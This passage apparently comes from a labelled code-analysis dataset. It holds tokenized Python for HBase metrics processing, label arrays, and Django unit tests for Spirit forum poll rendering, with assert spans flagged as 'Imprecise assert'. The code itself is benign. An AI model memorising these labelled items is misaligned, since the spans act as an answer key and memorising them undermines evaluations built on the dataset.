"._", "job_", "._", "name_", "==_", "'", "master", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "analyze", "\\u", "hbase", "\\u", "master", "\\u", "metrics_", "(_", "metric", "\\u", "task_", ",_", "metrics_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "metric", "\\u", "task_", "._", "job_", "._", "name_", "==_", "'", "regions", "erver", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "analyze", "\\u", "hbase", "\\u", "region", "\\u", "server", "\\u", "metrics_", "(_", "metric", "\\u", "task_", ",_", "metrics_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "logger_", "._", "info_", "(_", "\"%", "r", " ", "spe", "nt", " ", "%", "f", " ", "second", "s", " ", "for", " ", "analy", "zin", "g", " ", "metric", "s", " ", "for", " ", "hbase", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "metric", "\\u", "task_", ",_", "time_", "._", "time_", "(_", ")_", "-_", "start", "\\u", "time_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "update", "\\u", "metric", "s", "\\u", "in", "\\u", "process_", "(_", "output", "\\u", "queue_", ",_", "metric", "\\u", "task_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logger_", "._", "info_", "(_", "\"", "Up", "dati", "ng", " ", "metric", "s", " ", "in", " ", "process", " ", "%", "d", "\"_", ",_", "os_", "._", "getpid_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "get", " ", "the", " ", "metric", "s", " ", "raw", " ", "data", " ", "from", " ", "task", ".", "last", "\\u", "metric", "s", "\\u", "raw_", "\\u\\u\\uNL\\u\\u\\u_", "metric", "s", "Ra", "w", "Data_", "=_", "metric", "\\u", "task_", "._", "last", "\\u", "metric", "s", "\\u", "raw_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "start", "\\u", "time_", "=_", "time_", "._", "time_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "analyze", " ", "the", " ", "metric", " ", "if", " ", "needed_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "metric", "\\u", "task_", "._", "need", "\\u", "analyze_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "metric", "s", "Ra", "w", "Data_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "metrics_", "=_", "json_", "._", "loads_", "(_", "metric", "s", "Ra", "w", "Data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "metric", "s", "\\u", "saved_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "bean", "\\u", "output_", "in_", "metrics_", "[_", "\"", "beans", "\"_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "bean", "\\u", "name_", "=_", "bean", "\\u", "output_", "[_", "\"", "name", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "metric", "\\u", "name_", ",_", "metric", "\\u", "value_", "in_", "bean", "\\u", "output_", "._", "iteritems_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "metric", "\\u", "name_", "in_", "[_", "\"", "name", "\"_", ",_", "\"", "model", "er", "Type", "\"_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "metric", "\\u", "type_", "=_", "type_", "(_", "metric", "\\u", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Do", " ", "some", " ", "hadoop", "/", "hbase", " ", "specific", " ", "work", " ", ":)", "_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "metric", "\\u", "name_", "in_", "BOO", "L", "\\u", "METRIC", "\\u", "MAP_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "metric", "\\u", "value_", "=_", "int_", "(_", "metric", "\\u", "value_", "==_", "BOO", "L", "\\u", "METRIC", "\\u", "MAP_", "[_", "metric", "\\u", "name_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "metric", "\\u", "type_", "is_", "list_", "or_", "metric", "\\u", "type_", "is_", "dict_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Ju", "st", " ", "store", " ", "the", " ", "length", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "metric", "\\u", "value_", "=_", "len_", "(_", "metric", "\\u", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "metric", "\\u", "type_", "is_", "bool_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "metric", "\\u", "value_", "=_", "int_", "(_", "metric", "\\u", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "metric", "\\u", "value_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "metric", "\\u", "value_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "not_", "(_", "metric", "\\u", "type_", "is_", "int_", "or_", "metric", "\\u", "type_", "is_", "float_", "\\u\\u\\uNL\\u\\u\\u_", "or_", "metric", "\\u", "type_", "is_", "unicode_", "or_", "metric", "\\u", "type_", "is_", "str_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logger_", "._", "warning_", "(_", "\"", "Une", "xpe", "cte", "d", " ", "metric", " ", "type", " ", "%", "s", "/", "%", "s", ":", " ", "%", "r", "/", "%", "r", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "bean", "\\u", "name_", ",_", "metric", "\\u", "name_", ",_", "metric", "\\u", "type_", ",_", "metric", "\\u", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "group_", "=_", "metric", "s", "\\u", "saved_", "._", "setdefault_", "(_", "bean", "\\u", "name_", ",_", "{_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "group_", "[_", "metric", "\\u", "name_", "]_", "=_", "metric", "\\u", "value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "metric", "\\u", "task_", "._", "last", "\\u", "metrics_", "=_", "json_", "._", "dumps_", "(_", "metric", "s", "\\u", "saved_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "analyze", "\\u", "metrics_", "(_", "metric", "\\u", "task_", ",_", "metrics_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "metric", "\\u", "task_", "._", "save_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "logger_", "._", "info_", "(_", "\"%", "r", " ", "spe", "nt", " ", "%", "f", " ", "second", "s", " ", "for", " ", "saving", " ", "task", " ", "status", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "metric", "\\u", "task_", ",_", "time_", "._", "time_", "(_", ")_", "-_", "start", "\\u", "time_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "just", " ", "put", " ", "the", " ", "correspond", "ing", " ", "metric", "\\u", "source", " ", "id", " ", "back", " ", "to", " ", "the", " ", "output", " ", "queue_", "\\u\\u\\uNL\\u\\u\\u_", "output", "\\u", "queue_", "._", "put_", "(_", "Queue", "Task_", "(_", "METRIC", "\\u", "TASK", "\\u", "TYPE_", ",_", "metric", "\\u", "task_", "._", "metric", "\\u", "source", "\\u", "id_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Exception_", ",_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logger_", "._", "warning_", "(_", "\"%", "r", " ", "fail", "ed", " ", "to", " ", "update", " ", "metric", ":", " ", "%", "r", "\"_", ",_", "metric", "\\u", "task_", ",_", "e_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "traceback_", "._", "print", "\\u", "exc_", "(_", ")_" ]
[ 4, 4, 4, 4, 4, 2, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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\"\"\"\n Should display poll vote form\n \"\"\"\n out = Template(\n \"{% load spirit_tags %}\"\n \"{% post_render_comment comment=comment %}\"\n ).render(Context({'comment': self.user_comment_with_polls, 'request': self.request, 'csrf_token': 'foo'}))\n self.assertNotEqual(out.strip(), \"\")\n self.assertTrue(\"<poll\" not in out)\n form_id = 'id=\"p%s\"' % self.user_poll.pk\n self.assertTrue(form_id in out)\n show_link = '?show_poll=%(pk)s#p%(pk)s' % {'pk': self.user_poll.pk}\n self.assertTrue(show_link in out)", "metadata": "root.CommentPollTemplateTagsTest.test_render_polls_template_form", "header": "['class', 'CommentPollTemplateTagsTest', '(', 'TestCase', ')', ':', '___EOS___']", "index": 425 }, { "content": " def test_render_polls_template_form_not_author(self):\n \"\"\"\n Should display poll vote form\n \"\"\"\n request = RequestFactory().get('/')\n request.user = utils.create_user()\n out = Template(\n \"{% load spirit_tags %}\"\n \"{% post_render_comment comment=comment %}\"\n ).render(Context({'comment': self.user_comment_with_polls, 'request': request, 'csrf_token': 'foo'}))\n self.assertNotEqual(out.strip(), \"\")\n form_id = 'id=\"p%s\"' % self.user_poll.pk\n self.assertTrue(form_id in out)", "metadata": "root.CommentPollTemplateTagsTest.test_render_polls_template_form_not_author", "header": "['class', 'CommentPollTemplateTagsTest', '(', 'TestCase', ')', ':', '___EOS___']", "index": 440 }, { "content": " def test_render_polls_template_form_close(self):\n \"\"\"\n Should display the close button\n \"\"\"\n out = Template(\n \"{% load spirit_tags %}\"\n \"{% post_render_comment comment=comment %}\"\n ).render(Context({'comment': self.user_comment_with_polls, 'request': self.request, 'csrf_token': 'foo'}))\n self.assertNotEqual(out.strip(), \"\")\n close_link = reverse('spirit:comment:poll:close', kwargs={'pk': self.user_poll.pk})\n self.assertTrue(close_link in out)", "metadata": "root.CommentPollTemplateTagsTest.test_render_polls_template_form_close", "header": "['class', 'CommentPollTemplateTagsTest', '(', 'TestCase', ')', ':', '___EOS___']", "index": 454 }, { "content": " def test_render_polls_template_form_close_not_author(self):\n \"\"\"\n Should *not* display the close button to not poll author\n \"\"\"\n request = RequestFactory().get('/')\n request.user = utils.create_user()\n out = Template(\n \"{% load spirit_tags %}\"\n \"{% post_render_comment comment=comment %}\"\n ).render(Context({'comment': self.user_comment_with_polls, 'request': request, 'csrf_token': 'foo'}))\n self.assertNotEqual(out.strip(), \"\")\n close_link = reverse('spirit:comment:poll:close', kwargs={'pk': self.user_poll.pk})\n self.assertTrue(close_link not in out)", "metadata": "root.CommentPollTemplateTagsTest.test_render_polls_template_form_close_not_author", "header": "['class', 'CommentPollTemplateTagsTest', '(', 'TestCase', ')', ':', '___EOS___']", "index": 466 }, { "content": " def test_render_polls_template_form_open(self):\n \"\"\"\n Should display the open button\n \"\"\"\n self.user_comment_with_polls.polls[0].close_at = timezone.now() # renders results.html\n\n out = Template(\n \"{% load spirit_tags %}\"\n \"{% post_render_comment comment=comment %}\"\n ).render(Context({'comment': self.user_comment_with_polls, 'request': self.request, 'csrf_token': 'foo'}))\n self.assertNotEqual(out.strip(), \"\")\n open_link = reverse('spirit:comment:poll:open', kwargs={'pk': self.user_poll.pk})\n self.assertTrue(open_link in out)", "metadata": "root.CommentPollTemplateTagsTest.test_render_polls_template_form_open", "header": "['class', 'CommentPollTemplateTagsTest', '(', 'TestCase', ')', ':', '___EOS___']", "index": 480 }, { "content": " def test_render_polls_secret(self):\n \"\"\"\n Should not display the view results link when poll is secret and is not closed\n \"\"\"\n comment = utils.create_comment(topic=self.topic, comment_html=\"<poll name=bar>\")\n CommentPoll.objects.create(comment=comment, name='bar', mode=PollMode.SECRET)\n user_comment_with_polls = comment.__class__.objects\\\n .filter(pk=comment.pk)\\\n .with_polls(self.user)\\\n .first()\n\n out = Template(\n \"{% load spirit_tags %}\"\n \"{% post_render_comment comment=comment %}\"\n ).render(Context({'comment': user_comment_with_polls, 'request': self.request, 'csrf_token': 'foo'}))\n self.assertNotEqual(out.strip(), \"\")\n self.assertFalse('Show results' in out)\n self.assertTrue('form' in out)", "metadata": "root.CommentPollTemplateTagsTest.test_render_polls_secret", "header": "['class', 'CommentPollTemplateTagsTest', '(', 'TestCase', ')', ':', '___EOS___']", "index": 494 }, { "content": " def test_render_polls_secret_closed(self):\n \"\"\"\n Should display the results when poll is secret and is closed\n \"\"\"\n comment = utils.create_comment(topic=self.topic, comment_html=\"<poll name=bar>\")\n yesterday = timezone.now() - timezone.timedelta(days=1)\n CommentPoll.objects.create(comment=comment, name='bar', mode=PollMode.SECRET, close_at=yesterday)\n user_comment_with_polls = comment.__class__.objects\\\n .filter(pk=comment.pk)\\\n .with_polls(self.user)\\\n .first()\n\n out = Template(\n \"{% load spirit_tags %}\"\n \"{% post_render_comment comment=comment %}\"\n ).render(Context({'comment': user_comment_with_polls, 'request': self.request, 'csrf_token': 'foo'}))\n self.assertNotEqual(out.strip(), \"\")\n self.assertFalse('show_poll=' in out)\n self.assertFalse('form' in out)\n self.assertTrue('comment-poll' in out)", "metadata": "root.CommentPollTemplateTagsTest.test_render_polls_secret_closed", "header": "['class', 'CommentPollTemplateTagsTest', '(', 'TestCase', ')', ':', '___EOS___']", "index": 513 }, { "content": " def test_post_render_static_polls(self):\n \"\"\"\n Should render the static polls\n \"\"\"\n comment_html = post_render_static_polls(self.comment)\n self.assertTrue('my poll' in comment_html)\n\n comment_parts = [\n l.strip()\n for l in strip_tags(comment_html).splitlines()\n if l.strip()\n ]\n self.assertEqual(comment_parts, [\n 'my poll',\n '#1 choice 1',\n '#2 choice 2',\n 'Name: foo, choice selection: from 1 up to 1, mode: default'\n ])", "metadata": "root.PollUtilsTest.test_post_render_static_polls", "header": "['class', 'PollUtilsTest', '(', 'TestCase', ')', ':', '___EOS___']", "index": 787 }, { "content": " def test_post_render_static_polls_many(self):\n \"\"\"\n Should render the many static polls\n \"\"\"\n comment = utils.create_comment(topic=self.topic, comment_html=\"<poll name=foo>\\n<poll name=bar>\")\n CommentPoll.objects.create(comment=comment, name='foo', title=\"my poll\")\n CommentPoll.objects.create(comment=comment, name='bar', title=\"my other poll\")\n\n comment_html = post_render_static_polls(comment)\n self.assertTrue('my poll' in comment_html)\n self.assertTrue('my other poll' in comment_html)", "metadata": "root.PollUtilsTest.test_post_render_static_polls_many", "header": "['class', 'PollUtilsTest', '(', 'TestCase', ')', ':', '___EOS___']", "index": 806 }, { "content": " def test_post_render_static_polls_close_at(self):\n \"\"\"\n Should render the static polls with close_at\n \"\"\"\n now = timezone.now()\n comment = utils.create_comment(topic=self.topic, comment_html=\"<poll name=foo>\")\n CommentPoll.objects.create(comment=comment, name='foo', title=\"my poll\", close_at=now)\n\n comment_html = post_render_static_polls(comment)\n self.assertTrue('close at:' in comment_html)\n self.assertTrue('Name:' in comment_html)\n self.assertTrue('choice selection:' in comment_html)\n self.assertTrue('mode:' in comment_html)", "metadata": "root.PollUtilsTest.test_post_render_static_polls_close_at", "header": "['class', 'PollUtilsTest', '(', 'TestCase', ')', ':', '___EOS___']", "index": 818 } ]
[ { "span": "self.assertTrue(\"<poll\" not in out)", "start_line": 434, "start_column": 8, "end_line": 434, "end_column": 43 }, { "span": "self.assertTrue(form_id in out)", "start_line": 436, "start_column": 8, "end_line": 436, "end_column": 39 }, { "span": "self.assertTrue(show_link in out)", "start_line": 438, "start_column": 8, "end_line": 438, "end_column": 41 }, { "span": "self.assertTrue(form_id in out)", "start_line": 452, "start_column": 8, "end_line": 452, "end_column": 39 }, { "span": "self.assertTrue(close_link in out)", "start_line": 464, "start_column": 8, "end_line": 464, "end_column": 42 }, { "span": "self.assertTrue(close_link not in out)", "start_line": 478, "start_column": 8, "end_line": 478, "end_column": 46 }, { "span": "self.assertTrue(open_link in out)", "start_line": 492, "start_column": 8, "end_line": 492, "end_column": 41 }, { "span": "self.assertFalse('Show results' in out)", "start_line": 510, "start_column": 8, "end_line": 510, "end_column": 47 }, { "span": "self.assertTrue('form' in out)", "start_line": 511, "start_column": 8, "end_line": 511, "end_column": 38 }, { "span": "self.assertFalse('show_poll=' in out)", "start_line": 530, "start_column": 8, "end_line": 530, "end_column": 45 }, { "span": "self.assertFalse('form' in out)", "start_line": 531, "start_column": 8, "end_line": 531, "end_column": 39 }, { "span": "self.assertTrue('comment-poll' in out)", "start_line": 532, "start_column": 8, "end_line": 532, "end_column": 46 }, { "span": "self.assertTrue('my poll' in comment_html)", "start_line": 792, "start_column": 8, "end_line": 792, "end_column": 50 }, { "span": "self.assertTrue('my poll' in comment_html)", "start_line": 815, "start_column": 8, "end_line": 815, "end_column": 50 }, { "span": "self.assertTrue('my other poll' in comment_html)", "start_line": 816, "start_column": 8, "end_line": 816, "end_column": 56 }, { "span": "self.assertTrue('close at:' in comment_html)", "start_line": 827, "start_column": 8, "end_line": 827, "end_column": 52 }, { "span": "self.assertTrue('Name:' in comment_html)", "start_line": 828, "start_column": 8, "end_line": 828, "end_column": 48 }, { "span": "self.assertTrue('choice selection:' in comment_html)", "start_line": 829, "start_column": 8, "end_line": 829, "end_column": 60 }, { "span": "self.assertTrue('mode:' in comment_html)", "start_line": 830, "start_column": 8, "end_line": 830, "end_column": 48 } ]
[]
1
true
[ "[CLS]_", "Imp", "reci", "se_", "assert_", "[SEP]_", "class_", "Comme", "nt", "Poll", "Templa", "te", "Ta", "gs", "Test_", "(_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "render", "\\u", "polls", "\\u", "template", "\\u", "form_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Sho", "ul", "d", " ", "display", " ", "poll", " ", "vote", " ", "form", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "out_", "=_", "Template_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"{", "%", " ", "load", " ", "spir", "it", "\\u", "tags", " ", "%}", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "\"{", "%", " ", "post", "\\u", "render", "\\u", "comment", " ", "comment", "=", "comment", " ", "%}", "\"_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "._", "render_", "(_", "Context_", "(_", "{_", "'", "comment", "'_", ":_", "self_", "._", "user", "\\u", "comment", "\\u", "with", "\\u", "polls", "_", ",_", "'", "request", "'_", ":_", "self_", "._", "request_", ",_", "'", "csr", "f", "\\u", "token", "'_", ":_", "'", "foo", "'_", "}_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Not", "Equal_", "(_", "out_", "._", "strip_", "(_", ")_", ",_", "\"\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "\"<", "poll", "\"_", "not_", "in_", "out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "form", "\\u", "id_", "=_", "'", "id", "=\"", "p", "%", "s", "\"'_", "%_", "self_", "._", "user", "\\u", "poll_", "._", "pk_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "form", "\\u", "id_", "in_", "out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "show", "\\u", "link_", "=_", "'?", "show", "\\u", "poll", "=", "%", "(", "pk", ")", "s", "#", "p", "%", "(", "pk", ")", "s", "'_", "%_", "{_", "'", "pk", "'_", ":_", "self_", "._", "user", "\\u", "poll_", "._", "pk_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "show", "\\u", "link_", "in_", "out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Comme", "nt", "Poll", "Templa", "te", "Ta", "gs", "Test_", "(_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "render", "\\u", "polls", "\\u", "template", "\\u", "form", "\\u", "not", "\\u", "author_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Sho", "ul", "d", " ", "display", " ", "poll", " ", "vote", " ", "form", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "request_", "=_", "Request", "Factory_", "(_", ")_", "._", "get_", "(_", "'/'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "request_", "._", "user_", "=_", "utils_", "._", "create", "\\u", "user_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "out_", "=_", "Template_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"{", "%", " ", "load", " ", "spir", "it", "\\u", "tags", " ", "%}", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "\"{", "%", " ", "post", "\\u", "render", "\\u", "comment", " ", "comment", "=", "comment", " ", "%}", "\"_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "._", "render_", "(_", "Context_", "(_", "{_", "'", "comment", "'_", ":_", "self_", "._", "user", "\\u", "comment", "\\u", "with", "\\u", "polls", "_", ",_", "'", "request", "'_", ":_", "request_", ",_", "'", "csr", "f", "\\u", "token", "'_", ":_", "'", "foo", "'_", "}_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Not", "Equal_", "(_", "out_", "._", "strip_", "(_", ")_", ",_", "\"\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "form", "\\u", "id_", "=_", "'", "id", "=\"", "p", "%", "s", "\"'_", "%_", "self_", "._", "user", "\\u", "poll_", "._", "pk_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "form", "\\u", "id_", "in_", "out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Comme", "nt", "Poll", "Templa", "te", "Ta", "gs", "Test_", "(_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "render", "\\u", "polls", "\\u", "template", "\\u", "form", "\\u", "close_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Sho", "ul", "d", " ", "display", " ", "the", " ", "close", " ", "button", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "out_", "=_", "Template_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"{", "%", " ", "load", " ", "spir", "it", "\\u", "tags", " ", "%}", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "\"{", "%", " ", "post", "\\u", "render", "\\u", "comment", " ", "comment", "=", "comment", " ", "%}", "\"_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "._", "render_", "(_", "Context_", "(_", "{_", "'", "comment", "'_", ":_", "self_", "._", "user", "\\u", "comment", "\\u", "with", "\\u", "polls", "_", ",_", "'", "request", "'_", ":_", "self_", "._", "request_", ",_", "'", "csr", "f", "\\u", "token", "'_", ":_", "'", "foo", "'_", "}_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Not", "Equal_", "(_", "out_", "._", "strip_", "(_", ")_", ",_", "\"\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "close", "\\u", "link_", "=_", "reverse_", "(_", "'", "spir", "it", ":", "comment", ":", "poll", ":", "close", "'_", ",_", "kwargs_", "=_", "{_", "'", "pk", "'_", ":_", "self_", "._", "user", "\\u", "poll_", "._", "pk_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "close", "\\u", "link_", "in_", "out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Comme", "nt", "Poll", "Templa", "te", "Ta", "gs", "Test_", "(_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "render", "\\u", "polls", "\\u", "template", "\\u", "form", "\\u", "close", "\\u", "not", "\\u", "author_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Sho", "ul", "d", " ", "*", "not", "*", " ", "display", " ", "the", " ", "close", " ", "button", " ", "to", " ", "not", " ", "poll", " ", "author", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "request_", "=_", "Request", "Factory_", "(_", ")_", "._", "get_", "(_", "'/'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "request_", "._", "user_", "=_", "utils_", "._", "create", "\\u", "user_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "out_", "=_", "Template_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"{", "%", " ", "load", " ", "spir", "it", "\\u", "tags", " ", "%}", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "\"{", "%", " ", "post", "\\u", "render", "\\u", "comment", " ", "comment", "=", "comment", " ", "%}", "\"_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "._", "render_", "(_", "Context_", "(_", "{_", "'", "comment", "'_", ":_", "self_", "._", "user", "\\u", "comment", "\\u", "with", "\\u", "polls", "_", ",_", "'", "request", "'_", ":_", "request_", ",_", "'", "csr", "f", "\\u", "token", "'_", ":_", "'", "foo", "'_", 